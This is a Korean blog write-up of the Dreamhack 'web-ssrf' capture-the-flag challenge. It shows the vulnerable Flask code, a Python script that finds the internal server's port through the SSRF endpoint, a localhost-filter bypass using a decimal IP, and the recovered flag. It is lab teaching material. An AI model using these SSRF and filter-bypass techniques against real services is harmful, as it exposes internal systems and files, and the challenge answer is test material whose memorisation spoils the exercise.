[Dreamhack] web-ssrf

Sisyphus·2022년 11월 27일
0

문제 코드

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"
  • 현재 디렉터리에 flag.txt 파일이 있습니다.

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)
  • GET : img_viewer.html을 렌더링합니다.
  • POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링합니다.
  • URL을 필터링하고 있습니다.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())
  • http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행합니다.
  • http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됩니다.

localhost 필터링을 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있습니다.



랜덤한 포트 찾기

import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"


def send_img(img_url):
    global chall_url

    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)

    return response.text


def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"

        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break

    return port


if __name__ == "__main__":
    chall_port = 18759
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()
 ion  ~  python3 exploit.py
/usr/lib/python3/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography and will be removed in a future release.
  from cryptography import x509
 16%|████████████▊                                                                     | 47/301 [00:10<00:53,  4.75it/s]
 Internal port number is: 1547
 16%|████████████▊
  • port = 1547


익스플로잇

url 필터링 우회

localhost ⇾ 0x7f000001 or 2130706433

페이로드

http://2130706433:1547/flag.txt

플래그 찾기

페이로드를 입력하니 깨진 이미지가 하나 나왔습니다.


요소 찾기로 깨진 이미지를 봐보면

<img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9">

base64 인코딩된 문자열이 있습니다.

디코딩해보면

DH{43dd2189056475a7f3bd11456a17ad71}

플래그가 있습니다.

0개의 댓글